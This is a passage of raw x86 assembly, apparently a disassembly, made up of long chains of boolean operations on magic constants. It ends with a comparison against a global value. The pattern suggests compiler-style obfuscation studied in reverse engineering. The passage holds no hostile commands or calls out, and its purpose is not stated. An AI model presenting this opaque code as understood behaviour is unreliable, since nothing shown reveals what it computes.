and ecx, 0xfbfffbfe
xor ecx, edx
xor ecx, 0x51510178
not eax
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0xc273949c
mov edx, eax
xor edx, 0xc273949c
and edx, eax
or edx, esi
mov esi, edx
xor esi, 0xc042b03
xor edx, 0x80018090
and edx, 0xb189c0f0
and esi, 0x4e763f0f
or esi, edx
mov edx, esi
xor edx, 0x4e763f0f
xor esi, 0x910800f0
and esi, 0xd75c03fc
mov edi, edx
and edi, 0x28a3fc03
or edi, esi
xor edi, 0xc0f6d63b
and edx, 0x17aad5c7
or edx, edi
mov esi, eax
and esi, 0xe1c1238d
mov edi, ecx
and edi, 0x1e3edc72
or edi, esi
xor edi, 0x99409b5
mov esi, ecx
and esi, 0xe8552a38
or esi, edi
mov edi, edx
or edi, esi
xor esi, edx
mov ebx, esi
not ebx
mov edx, ebx
and edx, 0xf33a55d4
and esi, 0xcc5aa2b
or esi, edx
xor esi, edi
xor esi, 0xcc5aa2b
or ebx, edi
not ebx
or ebx, esi
mov edi, ebx
xor edi, 0x17aad5c7
mov dword [esp + 0xc], edi
xor ebx, 0xe8552a38
mov edx, ebx
mov dword [esp + 8], ebx
and edx, 0x80930008
mov esi, edi
and esi, 0x68444404
or esi, edx
xor esi, 0x68444404
mov edx, edi
and edx, 0x1728bbf3
or edx, esi
xor edx, 0x31f50ddf
mov esi, ebx
and esi, 0x853d4522
and edi, 0x7ac2badd
or edi, esi
xor edi, 0x7ac2badd
or edi, edx
and eax, 0x27561ae7
and ecx, 0xd8a9e518
or ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xd8a9e518
xor ecx, 0xee510ec8
mov ebx, ecx
and ebx, eax
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0xeb6a21a9
and ebx, 0x1495de56
or ebx, ebp
xor esi, 0x27561ae7
and ecx, esi
mov ebp, ecx
not ebp
or edx, ebp
and ebp, 0xeb6a21a9
and ecx, 0x1495de56
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
and esi, 0x15a740c2
mov ebx, eax
and ebx, 0xea58bf3d
or ebx, esi
mov ecx, edx
xor ecx, 0x211498
xor ebx, 0x337af6ee
and eax, 0x26ddb62c
or eax, ebx
xor edx, 0xefdaa203
mov esi, edx
and esi, 0x9bc6cb65
and ecx, 0x6439349a
or ecx, esi
mov esi, eax
not esi
or edx, eax
and eax, 0x9bc6cb65
and esi, 0x6439349a
or esi, eax
mov eax, edi
not edi
xor esi, ecx
not edx
or edx, esi
mov ecx, edx
not ecx
and edx, 0xd845624e
and ecx, 0x27ba9db1
or ecx, edx
mov esi, ecx
xor esi, 0x21a01c01
xor ecx, 0x58006044
and ecx, 0x5e1ae1f4
and esi, 0xa1e51e0b
or esi, ecx
mov ecx, eax
mov dword [esp + 4], eax
and ecx, 0x8bae42c4
mov edx, edi
and edx, 0x7451bd3b
or edx, ecx
mov ecx, edx
xor ecx, 0x40002822
xor edx, 0x9880004
or edx, 0x610050
and edx, 0xde99555
and ecx, 0xc00628a2
or ecx, edx
mov edx, eax
or edx, 0xd889505
and edx, 0xde99555
mov eax, edi
and eax, 0x32104208
or eax, edx
xor eax, ecx
mov edx, esi
xor edx, 0x5e1ae1f4
xor esi, 0xa1e51e0b
mov ecx, edx
mov ebp, edx
mov dword [esp], edx
and ecx, 0xe9886a59
mov edx, esi
and edx, 0x167795a6
or edx, ecx
mov ecx, edx
xor ecx, 0x147310a4
xor edx, 0xe9886a59
mov ebx, edx
and ebx, 0xeb848f42
and ecx, 0x147b70bd
or ecx, ebx
mov ebx, ebp
and ebx, esi
mov ebp, ebx
not ebp
or edx, ebp
and ebp, 0xeb848f42
and ebx, 0x147b70bd
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
mov ebp, eax
xor ebp, 0x32714258
mov dword [esp + 0x10], ebp
xor eax, 0xcd8ebda7
mov ecx, eax
mov ebx, eax
mov dword [esp + 0x20], eax
and ecx, 0x4a5c1cf9
and ebp, 0xb5a3e306
or ebp, ecx
mov eax, dword [esp + 4]
mov ecx, eax
and ecx, 0x43c96a86
and edi, 0xbc369579
or edi, ecx
xor edi, 0xf66a8980
xor eax, edi
and eax, edi
mov dword [esp + 4], eax
mov dword [esp + 0x14], edx
mov edi, edx
not edi
mov eax, edi
mov dword [esp + 0x18], edi
and eax, 0xd469ccc3
mov ecx, edx
and ecx, 0x2b96333c
or ecx, eax
xor ecx, 0x9e35d03a
mov edx, ecx
xor edx, edi
and edx, ecx
and esi, 0xc58e8dea
mov eax, dword [esp]
mov ecx, eax
and ecx, 0x3a717215
or ecx, esi
xor ecx, 0x702d6eec
and eax, 0xb5a3e306
or eax, ecx
mov dword [esp], eax
not ebp
or ebp, ebx
mov ecx, ebp
not ecx
mov esi, ebp
and esi, 0x74b6df9a
xor ebp, 0x1d89327d
and ebp, ecx
and ecx, 0x8b492065
or ecx, esi
mov eax, ecx
xor eax, 0x8b492065
xor ecx, 0x96c01218
and ecx, eax
or ebp, ecx
mov edi, dword [esp + 4]
mov ecx, edi
xor ecx, 0xe276cd82
and ecx, edi
mov ebx, edi
or edi, 0x1d89327d
not ebx
mov esi, edi
and esi, 0x35d2d83
or eax, ebx
and ebx, 0xe022c000
or ebx, esi
mov esi, ecx
not esi
or edi, esi
and esi, 0x35d2d83
and ecx, 0xfca2d27c
or ecx, esi
xor ecx, ebx
not edi
or edi, ecx
xor edi, ebp
not eax
or eax, edi
mov dword [esp + 4], eax
mov esi, edx
not esi
mov dword [esp + 0x24], esi
and esi, 0xbc97b0e9
mov edi, edx
xor edi, 0xbc97b0e9
and edi, edx
or edi, esi
mov eax, dword [esp]
mov ebx, eax
not ebx
mov ebp, ebx
or ebp, 0x43684f16
mov esi, ebp
and esi, 0x8b1be39e
mov ecx, eax
and ecx, 0x34841061
or ecx, esi
mov esi, eax
xor esi, 0x43684f16
and esi, ebx
mov eax, esi
not eax
or ebp, eax
and eax, 0x8b1be39e
and esi, 0x74e41c61
or esi, eax
xor esi, ecx
not ebp
or ebp, esi
xor ebp, edi
mov eax, edx
and eax, 0x699d8158
mov ecx, dword [esp + 0x24]
and ecx, 0x96627ea7
or ecx, eax
or edx, ebx
and ebx, 0x699d8158
mov eax, dword [esp]
and eax, 0x96627ea7
or eax, ebx
xor eax, ecx
not edx
or edx, eax
not edx
or edx, ebp
mov esi, dword [esp + 4]
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0xba5403cb
mov edi, esi
and edi, 0x45abfc34
or edi, eax
mov eax, edx
not eax
xor edi, 0xba5403cb
or edi, eax
and eax, 0x976732fb
and edx, 0x6898cd04
or edx, eax
xor edx, ecx
xor edx, 0x6898cd04
and edx, esi
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0xf46d487f
and edx, 0xb92b780
or edx, eax
xor edx, edi
or ecx, edi
xor edx, 0xb92b780
not ecx
or ecx, edx
mov edx, dword [esp + 0x10]
mov eax, edx
mov edi, dword [esp + 0x18]
xor eax, edi
and eax, edx
mov esi, dword [esp + 0x20]
and esi, 0x61316908
and edx, 0x9ece96f7
or edx, esi
and edi, 0x61316908
mov ebp, dword [esp + 0x14]
and ebp, 0x9ece96f7
or ebp, edi
xor ebp, edx
or ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xbc40e5f1
and eax, ebp
and ebp, 0x43bf1a0e
or ebp, edx
mov esi, ebp
xor esi, 0x42921800
xor ebp, 0xbc40e5f1
mov edx, ebp
and edx, 0x296d02cf
and esi, 0xd692fd30
or esi, edx
mov edx, eax
not edx
or ebp, edx
and edx, 0x296d02cf
and eax, 0xd692fd30
or eax, edx
xor eax, esi
not ebp
or ebp, eax
mov eax, ebp
or eax, 0xe41137a7
mov esi, ebp
not esi
mov edx, eax
and edx, 0x598bb7fe
mov edi, esi
and edi, 0x2644800
or edi, edx
mov edx, ebp
xor edx, 0x1beec858
and edx, ebp
mov ebx, edx
not ebx
or eax, ebx
and ebx, 0x598bb7fe
and edx, 0xa6744801
or edx, ebx
xor edx, edi
not eax
or eax, edx
mov edi, ecx
not edi
mov edx, ecx
and edx, 0xb2012ea8
and edi, 0x4dfed157
or edi, edx
xor eax, ecx
xor eax, 0x1beec858
or ecx, ebp
and ebp, 0xb2012ea8
and esi, 0x4dfed157
or esi, ebp
xor esi, edi
not ecx
or ecx, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfa2a20df
mov esi, ecx
and esi, 0x5d5df20
or esi, edx
mov edx, esi
xor edx, 0x908020
xor esi, 0xfa2a20df
mov edi, esi
and edi, 0x24453600
and edx, 0x298802d
or edx, edi
mov edi, eax
and edi, ecx
mov ebx, edi
not ebx
or esi, ebx
and ebx, 0x24453600
and edi, 0x298802d
or edi, ebx
xor edi, edx
not esi
or esi, edi
mov edx, esi
and edx, 0x26ddb62d
and ecx, 0x489a44ab
mov edi, eax
and edi, 0xb765bb54
or edi, ecx
xor edi, 0x6e47f286
and eax, 0x26ddb62d
or eax, edi
mov ecx, eax
xor esi, eax
and esi, edx
and eax, edx
not edx
not ecx
and ecx, edx
or eax, ecx
mov edx, esi
not edx
mov ecx, eax
not ecx
mov edi, edx
and edi, 0xb5ac03c9
and esi, 0x251b424
or esi, edi
or edx, ecx
and ecx, 0xb5ac03c9
and eax, 0x4a53fc36
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov dword [esp], edx
mov edx, dword [esp + 8]
mov eax, edx
and eax, 0x24ae8b7
mov edi, dword [esp + 0xc]
mov ecx, edi
and ecx, 0xfdb51748
or ecx, eax
mov esi, ecx
xor esi, edi
mov ebx, edi
and esi, ecx
not ecx
or ecx, edx
mov ebp, edx
xor ecx, esi
and esi, ecx
mov eax, esi
not eax
mov edi, eax
and edi, 0x84a1d604
and esi, 0x7b5e29fb
or esi, edi
mov edi, ecx
not edi
or eax, ecx
and ecx, 0x84a1d604
and edi, 0x7b5e29fb
or edi, ecx
xor edi, esi
not eax
or eax, edi
mov ecx, eax
not ecx
mov esi, ecx
or esi, 0xc830
mov edi, eax
or edi, 0xb5151708
and edi, 0xb515df38
and ecx, 0x24a2086
or ecx, edi
and esi, 0xb515df38
and eax, 0x48a00041
or eax, esi
xor eax, ecx
mov edx, ebx
mov ecx, ebx
and ecx, 0xaa1dcc8d
mov esi, ebp
and esi, 0x55e23372
or esi, ecx
mov ecx, esi
xor ecx, 0x55e23372
mov ebx, esi
xor ebx, 0xf5bc6cbb
and ebx, ecx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xaf6fe6cd
and ebx, 0x50901932
or ebx, ebp
or edx, 0x5fa1a036
or edi, edx
and edx, 0xaf6fe6cd
mov ebp, dword [esp + 8]
and ebp, 0x101900
or ebp, edx
xor ebp, ebx
not edi
or edi, ebp
xor edi, 0xa05e5fc8
xor esi, 0xa215c088
and esi, 0xe335d2da
mov ebx, ecx
and ebx, 0x1cca2d25
or ebx, esi
xor ebx, 0xe335d2db
and ecx, 1
or ecx, ebx
not ecx
or ecx, edi
mov esi, ecx
xor esi, 0x874ebd51
and esi, ecx
not ecx
or ecx, esi
not esi
and esi, 0x78b142ae
and ecx, 0x874ebd51
or ecx, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0xdd998373
and ecx, 0x22667c8c
or ecx, edi
xor ecx, 0x22667c8c
or ecx, esi
xor ecx, eax
and eax, ecx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x21e506c3
mov edi, eax
and edi, 0x6775b8c0
and ecx, 0x988a473f
or ecx, edi
not ecx
or ecx, eax
mov edi, eax
and edi, 0xde1af93c
or edi, esi
mov eax, edi
xor eax, 0x980a413c
and eax, 0x988a473f
xor edi, 0x216500c0
and edi, 0x6775b8c0
or edi, eax
mov eax, edi
xor eax, 0x988a473f
and eax, edi
mov edi, eax
not edi
mov esi, edi
or esi, ecx
and edi, 0xd8380f10
and eax, 0x27c7f0ef
or eax, edi
xor eax, ecx
mov ecx, eax
xor ecx, 0x27c7f0ef
xor eax, 0xd8380f10
mov edi, eax
and edi, 0x83f864e8
and ecx, 0x7c079b17
or ecx, edi
xor ecx, esi
xor ecx, 0x7c079b17
or eax, esi
not eax
or eax, ecx
mov esi, eax
xor esi, 0x988a473f
mov edi, eax
xor edi, 0x6775b8c0
mov ecx, esi
or ecx, 0xbb1bd32
xor eax, 0x6cc405f2
and eax, esi
mov ebx, ecx
and ebx, 0x7bf99273
mov ebp, edi
and ebp, 0x8406408c
or ebp, ebx
mov ebx, eax
not ebx
or ecx, ebx
and ebx, 0x7bf99273
and eax, 0x84066d8c
or eax, ebx
xor eax, ebp
not ecx
or ecx, eax
mov ebx, ecx
xor ebx, 0x600c008c
and edi, 0xf1ed3f6
and esi, 0xf0e12c09
or esi, edi
mov eax, esi
xor eax, 0x60012008
xor ecx, 0xbb1bd32
mov edi, ecx
and edi, 0x9de24f41
and ebx, 0x621db0be
or ebx, edi
xor esi, 0xd024340
and esi, 0x9de24f41
and eax, 0x621db0be
or eax, esi
xor eax, ebx
not eax
or eax, ecx
mov edx, dword [esp]
mov edi, edx
not edi
mov esi, edi
or esi, eax
mov ecx, esi
not ecx
mov ebx, edi
and ebx, 0xc4c51eac
xor edi, eax
and edi, edx
and edx, 0x3b3ae153
or edx, ebx
xor edx, 0xc4c51eac
or edx, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0x3bb43b7d
and edi, 0xc44bc482
or edi, ebx
xor edi, edx
xor edi, 0xc44bc482
or eax, edx
not eax
or eax, edi
and esi, 0xb990b7bc
mov edi, ecx
and edi, 0x466f4843
or edi, esi
mov edx, edi
xor edx, 0x466f4843
mov esi, eax
xor esi, 0x461cdb7e
mov ebx, esi
and esi, eax
not eax
xor edi, 0xff8c6cc2
and edi, edx
and ecx, 0xb9e32481
or ecx, edi
and ebx, eax
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0xe719c56a
and ebx, 0x18e63a95
or ebx, ebp
mov ebp, esi
not ebp
or edi, ebp
and ebp, 0xe719c56a
and esi, 0x18e63a95
or esi, ebp
xor esi, ebx
not edi
or edi, esi
xor edi, ecx
or eax, edx
not eax
or eax, edi
mov esi, eax
not esi
mov ecx, esi
mov edi, esi
mov edx, eax
mov ebx, esi
and ebx, 0xd7a881e4
mov ebp, eax
and ebp, 0x28577e1b
or ebp, ebx
mov ebx, eax
and ebx, 0x2c24ed9b
and esi, 0xd3db1264
or esi, ebx
mov ebx, ebp
xor ebx, 0x531200
xor ebp, 0x4208180
and ebp, 0x2c24ed9b
and ebx, 0xd3db1264
or ebx, ebp
xor ebx, esi
not ebx
or ebx, eax
mov dword [esp + 4], ebx
and eax, 0x54820900
and ecx, 0x8808706c
or ecx, eax
mov eax, ecx
xor eax, 0x54820900
mov esi, ecx
xor esi, 0xab7df6ff
mov dword [esp + 8], esi
and edi, 0x23458081
and edx, 0x300612
or edx, edi
mov ebp, edx
xor ebp, 0x300612
or ebp, 0xdc8a796c
mov edi, ebp
not edi
and ebp, 0xd6027998
xor edx, 0x108680
and edx, edi
mov dword [esp], edx
mov edx, edi
and edx, 0x21758603
or edx, ebp
xor ecx, 0xe3d55661
and ecx, esi
mov ebp, eax
and ebp, 0x4888200c
or ebp, ecx
mov esi, edx
xor esi, 0x29fd8667
mov ecx, edx
xor ecx, 0x615526f9
and ecx, esi
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x37da285
and ecx, 0x30024432
or ecx, ebx
mov ebx, dword [esp]
not ebx
or edi, ebx
and ebx, 0x877dbbc5
and dword [esp], 0x20000412
add dword [esp], ebx
mov ebx, dword [esp]
xor ebx, ecx
not edi
or edi, ebx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, ebp
xor ecx, edi
xor edx, 0xd6027998
mov edi, eax
and edi, 0xc8a4824
mov ebx, dword [esp + 8]
and ebx, 0xd064b1db
or ebx, edi
or eax, edx
and edx, 0x23110600
and esi, 0xd064b1db
or esi, edx
xor esi, ebx
not eax
or eax, esi
mov esi, eax
not esi
mov edx, ecx
not edx
mov edi, edx
and edi, 0x6ef4f110
and ecx, 0x910b0eef
or ecx, edi
or edx, eax
and eax, 0x6ef4f110
and esi, 0x910b0eef
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov eax, edx
not eax
mov ecx, edx
xor ecx, 0x23758693
and ecx, edx
or edx, 0xdc8a796c
mov esi, ecx
not esi
mov edi, edx
and edi, 0xde4dd69f
and eax, 0x21300000
or eax, edi
or edx, esi
and esi, 0xde4dd69f
and ecx, 0x21b22960
or ecx, esi
xor ecx, eax
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x3ac5ae2
and ecx, 0xfc53a51d
or ecx, edx
mov edi, ecx
xor edi, 0xfc53a51d
mov edx, ecx
xor edx, 0x3ac5ae2
mov esi, edx
and esi, 0x374cd27a
mov eax, edi
and eax, 0xc8b32d85
or eax, esi
mov esi, eax
xor esi, 0x40110000
xor eax, 0x37088218
xor ecx, 0x3482b05
and ecx, edi
mov ebx, eax
or ebx, 0x641027
and ebx, 0x9d6e9c2f
and esi, 0x62110210
or esi, ebx
mov ebx, ecx
not ebx
or eax, ebx
and ebx, 0x9d6e9c2f
and ecx, 0x629163d0
or ecx, ebx
mov ebx, dword [esp + 4]
mov ebp, ebx
not ebp
xor ecx, esi
not eax
or eax, ecx
not ecx
and ecx, 0xe471e7
and eax, 0xff1b8e18
or eax, ecx
mov esi, ebp
and esi, 0xf2719657
mov ecx, ebx
and ecx, 0xd8e69a8
or ecx, esi
mov esi, edx
and esi, 0x800ea629
and edi, 0x7ff159d6
or edi, esi
mov ebx, ecx
xor ebx, 0xf2719657
mov dword [esp + 8], ebx
xor edi, 0x4fcd2b4a
xor edx, edi
and edx, edi
mov dword [esp], edx
xor ecx, 0xd8e69a8
mov esi, ecx
and esi, 0x303c729c
mov edi, ebx
and edi, 0xcfc38d63
or edi, esi
mov esi, edi
xor esi, ecx
and esi, edi
mov dword [esp + 0x10], esi
mov edx, dword [esp + 4]
and edx, 0xffbc115c
and ebp, 0x43eea3
or ebp, edx
mov ebx, ebp
xor ebx, 0x43eea3
xor ebp, 0xf81c1008
and ebp, 0xf81e9a29
mov edi, ebx
and edi, 0x7e165d6
or edi, ebp
xor edi, 0x37dd174a
and ebx, 0xcfc38d63
or ebx, edi
mov dword [esp + 4], ebx
mov ebp, eax
xor ebp, ecx
and ebp, eax
and ecx, eax
mov dword [esp + 0xc], ecx
mov ebx, eax
not ebx
mov edi, ebx
or edi, 0x303c729c
mov ecx, dword [esp]
mov eax, ecx
not eax
xor ecx, eax
and ecx, edi
or edi, eax
xor ecx, eax
not edi
or ecx, edi
mov dword [esp], ecx
mov edx, dword [esp + 4]
mov eax, edx
not eax
mov edi, esi
not edi
mov esi, edx
xor esi, 0xbe370ed5
and esi, eax
or eax, 0xbe370ed5
mov ecx, eax
and ecx, 0x3fa84dd8
or edi, edx
and edx, 0x4040b022
or edx, ecx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0x3fa84dd8
and esi, 0xc057b227
or esi, ecx
xor esi, edx
not eax
or eax, esi
xor eax, dword [esp + 0x10]
xor eax, 0x41c8f12a
not edi
or edi, eax
mov edx, dword [esp]
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x9ef6b078
and edx, 0x61094f87
or edx, ecx
xor edx, edi
xor edx, 0x9ef6b078
and edx, edi
or eax, edi
mov edi, edx
not edi
mov ecx, edi
and ecx, 0xf591b615
and edx, 0xa6e49ea
or edx, ecx
xor edx, eax
xor edx, 0xa6e49ea
or edi, eax
not edi
or edi, edx
and ebx, dword [esp + 8]
mov esi, dword [esp + 0xc]
or esi, ebx
mov eax, ebp
not eax
mov ecx, esi
not ecx
mov edx, eax
and edx, 0x9d60ba9b
and ebp, 0x629f4564
or ebp, edx
or eax, ecx
and ecx, 0x9d60ba9b
and esi, 0x629f4564
or esi, ecx
xor esi, ebp
not eax
or eax, esi
mov esi, eax
not esi
mov edx, edi
xor edx, eax
and edx, edi
and eax, 0x8727555d
and esi, 0x78d8aaa2
or esi, eax
xor esi, edi
mov eax, esi
xor eax, 0x1225411
mov ecx, edx
not ecx
xor esi, 0x78d8aaa2
mov edi, ecx
and edi, 0xae1d214e
and edx, 0x51e2deb1
or edx, edi
or ecx, esi
and esi, 0xae1d214e
and eax, 0x51e2deb1
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
not eax
mov esi, eax
and esi, 0xc78d685a
mov edx, ecx
and edx, 0x387297a5
or edx, esi
mov esi, edx
xor esi, 0x10709025
xor edx, 0xc78d685a
mov edi, eax
and edi, ecx
mov ebx, edi
not ebx
mov ebp, edx
and ebp, 0xac0e2f88
and esi, 0x53f1d077
or esi, ebp
or edx, ebx
and ebx, 0xac0e2f88
and edi, 0x53f1d077
or edi, ebx
xor edi, esi
not edx
or edx, edi
mov esi, edx
not esi
mov edi, esi
and edi, 0xe0044060
and edx, 0x1010
or edx, edi
xor edx, 0xe0044060
and esi, 0x888
or esi, edx
mov edx, esi
xor edx, 0x888
mov ebx, esi
xor ebx, 0x22fb9074
or eax, 0x600418d8
and ecx, 0x65a2502
and eax, 0x79a59add
or eax, ecx
mov ecx, eax
xor ecx, 0x1a18204
mov edi, eax
xor edi, 0x865a6522
mov ebp, edi
mov dword [esp + 4], edi
and ebx, 0x22fb98f4
xor esi, 0xa0040078
and esi, edx
and edx, 0xc0044008
or edx, ebx
mov ebx, edx
xor ebx, 0xdd04670b
mov dword [esp], ebx
and ebp, 0xba464179
and ecx, 0x5b9a606
or ecx, ebp
xor edx, 0x22fb98f4
mov ebp, edx
or ebp, 0x46f0d00d
mov edi, ebp
and edi, 0xa00e58d4
mov ebx, dword [esp]
and ebx, 0x9012720
or ebx, edi
mov edi, esi
not edi
or ebp, edi
and edi, 0xb00e58d6
and esi, 0x40000028
or esi, edi
xor esi, ebx
not ebp
or ebp, esi
mov esi, ecx
xor esi, 0x45b9be86
xor ecx, 0xba464179
mov edi, ecx
or edi, 0x904008
and edi, 0x1096604a
mov ebx, esi
and ebx, 0xa90907b0
or ebx, edi
mov edi, dword [esp + 4]
or edi, 0x10062042
xor eax, 0x208005
and edi, 0x1096604a
and eax, 0x6608005
or eax, edi
xor eax, ebx
xor eax, ebp
mov edi, edx
and edi, 0x20eb1854
mov ebx, dword [esp]
and ebx, 0xda14c7ab
or ebx, edi
or edx, ecx
and ecx, 0x25eb2054
and esi, 0xda14c7ab
or esi, ecx
xor esi, ebx
not edx
or edx, esi
mov esi, edx
not esi
mov ecx, eax
xor ecx, 0xfffff7ff
mov edi, ecx
and edi, 0x35c47f5a
and eax, 0xca3b80a5
or eax, edi
or ecx, edx
and edx, 0x35c47f5a
and esi, 0xca3b80a5
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
mov edx, ecx
xor edx, 0x3ecc7041
and edx, ecx
not ecx
or eax, 0xc1338fbe
mov esi, edx
not esi
mov edi, eax
and edi, 0xa6c9fdd7
and ecx, 0x18040000
or ecx, edi
or eax, esi
and esi, 0xa6c9fdd7
and edx, 0x59360228
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov esi, eax
xor esi, 0x2137d746
xor eax, 0xdec828b9
mov ecx, esi
mov edx, eax
mov edi, eax
mov ebx, esi
mov ebp, eax
and ebp, 0x899081ca
and esi, 0x766f7e35
or esi, ebp
xor esi, 0x96f7a24a
or esi, eax
and eax, 0x100c00a4
and ecx, 0x45004002
or ecx, eax
xor ecx, 0x100c00a4
or edx, 0x550c40a6
and edi, 0x18
and edx, 0x75df73e6
and ebx, 0x8a208c01
or ebx, edx
lea eax, [ecx + edi]
add eax, 0x20d33340
xor eax, ebx
mov edi, eax
xor edi, 0xaaf3bf41
mov dword [esp + 4], edi
xor eax, 0x550c40be
mov dword [esp], eax
and eax, 0x40e4f6f4
and edi, 0xbf1b090b
or edi, eax
mov ecx, edi
xor ecx, 0xbf1b090b
xor edi, 0x440240
and edi, 0x8e5c0a42
mov eax, ecx
and eax, 0x71a3f5bd
or eax, edi
xor eax, 0x913b29c2
and ecx, 0x1f672380
or ecx, eax
mov eax, ecx
not eax
mov ebp, esi
not ebp
mov edi, ecx
and edi, 0x1f1d30fe
xor ecx, 0x32d5cbf3
and ecx, eax
and eax, 0xe0e2cf01
or eax, edi
mov edi, esi
and edi, 0xa8a6f3ee
xor esi, 0x32d5cbf3
and esi, ebp
and ebp, 0x57590c11
or ebp, edi
mov edi, eax
xor edi, 0xe0e2cf01
xor eax, 0xd23704f2
and eax, edi
mov ebx, eax
not ebx
mov edx, ebx
and edx, 0x83cdbc04
and eax, 0x7c3243fb
or eax, edx
mov edx, ecx
not edx
or ebx, edx
and edx, 0x83cdbc04
and ecx, 0x7c3243fb
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov ecx, ebp
xor ecx, 0x57590c11
xor ebp, 0x658cc7e2
and ebp, ecx
mov eax, ebp
not eax
mov edx, eax
and edx, 0x2b016d24
and ebp, 0xd4fe92db
or ebp, edx
mov edx, esi
not edx
or eax, edx
and edx, 0x2b016d24
and esi, 0xd4fe92db
or esi, edx
xor esi, ebp
not eax
or eax, esi
mov edx, eax
xor edx, eax
not edx
and edx, ebx
xor edx, eax
or ecx, edi
not ecx
or ecx, edx
mov esi, ecx
not esi
mov eax, ecx
xor eax, 0x89d0d25e
and eax, ecx
or ecx, 0x762f2da1
mov edx, ecx
and edx, 0x8a082a32
and esi, 0x1d0d04c
or esi, edx
mov edx, eax
not edx
or ecx, edx
and edx, 0x8a082a32
and eax, 0x75f7d5cd
or eax, edx
xor eax, esi
not ecx
or ecx, eax
mov ebp, dword [esp + 4]
mov eax, ebp
or eax, 0x30081000
mov ebx, dword [esp]
mov edx, ebx
or edx, 0x6c04072
and eax, 0x36c85072
and ebx, 0x48150b8d
or ebx, eax
and edx, 0x36c85072
mov edi, ebp
and edi, 0x8122a400
or edi, edx
mov esi, ecx
xor esi, 0x41400800
xor edi, ebx
mov eax, edi
xor eax, 0x81022000
and ebp, 0xb5c51c6b
mov ebx, dword [esp]
and ebx, 0x4a3ae394
or ebx, ebp
xor edi, 0x4ed54bff
mov edx, edi
and edx, 0x7ced9566
and eax, 0x83126a99
or eax, edx
mov edx, ebx
xor edx, 0xb5c51c6b
xor ebx, 0x2126290
or edi, edx
and edx, 0x7ced9566
and ebx, 0x83126a99
or ebx, edx
xor ebx, eax
not edi
or edi, ebx
mov eax, edi
not eax
and edi, 0x43de01b7
and eax, 0xbc21fe48
or eax, edi
mov edx, eax
xor edx, 0x40d60082
xor eax, 0x3021c440
and edx, 0xccd63a8a
and eax, 0x3329c575
or eax, edx
mov edx, eax
xor edx, 0xccd63a8a
xor eax, 0x3204014
xor ecx, 0x96b7f1de
mov edi, ecx
or edi, edx
not edi
and ecx, 0x3c8f9769
and esi, 0xc3706896
or esi, ecx
and edx, 0x3c8f9769
and eax, 0xc3706896
or eax, edx
xor eax, esi
or eax, edi
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x5c3459c8
and edx, 0xa3cba637
or edx, edi
or eax, esi
and esi, 0x5c3459c8
and ecx, 0xa3cba637
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov edx, eax
not edx
mov esi, edx
and esi, 0x7004d02
mov ecx, eax
and ecx, 0x8f42260
or ecx, esi
mov edi, ecx
xor edi, 0x8342000
xor ecx, 0xf70bdd9f
mov esi, eax
xor esi, 0xff46f62
and esi, eax
mov ebx, ecx
and ebx, 0xc6c052f9
and edi, 0x9342d02
or edi, ebx
mov ebx, esi
not ebx
or ecx, ebx
and ebx, 0xc6c052f9
and esi, 0x393fad06
or esi, ebx
xor esi, edi
not ecx
or ecx, esi
mov esi, ecx
xor esi, 0xd242162
and edx, 0x2db70aa1
and eax, 0xd248f55e
or eax, edx
xor ecx, 0xf00b909d
mov edx, ecx
and edx, 0x82d34e05
and esi, 0x7d2cb1fa
or esi, edx
mov edx, eax
xor edx, 0x5008b15a
xor eax, 0x930a01
and eax, 0x82d34e05
and edx, 0x7d2cb1fa
or edx, eax
xor edx, esi
xor ecx, edx
test ecx, edx
setne ah
sete al
cmp dword [0x1004f90c], 0xa
setl cl
setge dl
xor al, dl
xor al, 1
mov ch, ah
xor ch, dl
or dl, ah
and ch, dl
xor dl, 1
or dl, al
mov al, dl
xor al, 1
mov bh, ch
xor bh, 1
mov bl, dl
and bl, al
mov dh, bh
and dh, ch
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
xor dl, bh
xor bh, dh
xor dh, 1
or dh, ch
xor dh, 1
or dh, bh
xor dh, bl
xor dh, 1
or al, ch
xor al, 1
or al, dl
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
xor al, 1
mov ch, dl
xor ch, al
or al, dl
xor al, 1
or al, ch
mov ch, al
xor ch, 1
mov dl, ch
and dl, al
xor dl, 1
or dl, ch
xor dl, 1
or dl, al
mov al, dl
xor al, 1
mov ch, cl
xor ch, ah
not ch
and ch, ah
or cl, ah
xor cl, 1
or cl, ch
mov ch, cl
xor ch, 1
mov ah, ch
and ah, cl
xor ch, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, ch
mov ch, ah
xor ch, 1
mov dh, ch
and dh, ah
xor dh, 1
or dh, ah
xor dh, 1
or dh, ch
mov cl, dh
xor cl, 1
and dh, cl
xor dh, 1
mov bl, dh
xor bl, cl
or dh, cl
xor dh, 1
or dh, bl
mov cl, dh
xor cl, 1
or dh, dl
or cl, al
mov bl, dh
xor bl, cl
or cl, dh
xor cl, 1
or cl, bl
mov dh, al
and dh, dl
xor dh, 1
mov ebx, edx
xor bl, dh
or dh, dl
